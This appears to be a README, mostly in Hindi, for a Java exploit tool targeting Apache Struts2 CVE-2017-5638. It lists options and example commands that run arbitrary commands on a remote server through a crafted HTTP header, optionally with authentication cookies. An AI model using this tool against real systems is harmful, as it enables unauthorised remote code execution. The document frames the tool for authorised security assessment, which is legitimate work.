
Apache Struts2 CVE-2017-5638 के लिए Java-आधारित एक्सप्लॉइट, तैयार किए गए HTTP हेडर के माध्यम से मनमानी कमांड निष्पादित करता है। अधिकृत सुरक्षा मूल्यांकन के लिए अभिप्रेत है।
यह निम्नलिखित Python एक्सप्लॉइट का एक प्रकार का Java पोर्टिंग है: https://www.exploit-db.com/exploits/41570/।
यह सॉफ़्टवेयर बिना किसी बाहरी निर्भरता के लिखा गया है।
यह उपकरण सुरक्षा इंजीनियरों और ऐप्सेक लोगों के लिए सुरक्षा आकलन हेतु है। कृपया इस उपकरण का जिम्मेदारी से उपयोग करें। मैं इस बात की जिम्मेदारी नहीं लेता कि कोई भी इस एप्लिकेशन का उपयोग किस तरह करता है। इस उपकरण का उपयोग करने से हुई किसी भी क्षति या किए गए किसी भी अपराध के लिए मैं जिम्मेदार नहीं हूँ।
Usage:
java -jar struts2_cve-2017-5638.jar [options]
Description:
Exploiting Apache Struts2 Remote Code Execution (CVE-2017-5638).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
--cookies [cookies]
Optional. Cookies passed into the request, i.e. authentication cookies.
-v, --verbose
Optional. Increase verbosity.
java -jar struts2_cve-2017-5638.jar --url "https://vuln1.foo.com/asd" --command ipconfig
java -jar struts2_cve-2017-5638.jar --url "https://vuln2.foo.com/asd" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar struts2_cve-2017-5638.jar --url "https://vuln3.foo.com/asd" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE.txt फ़ाइल देखें।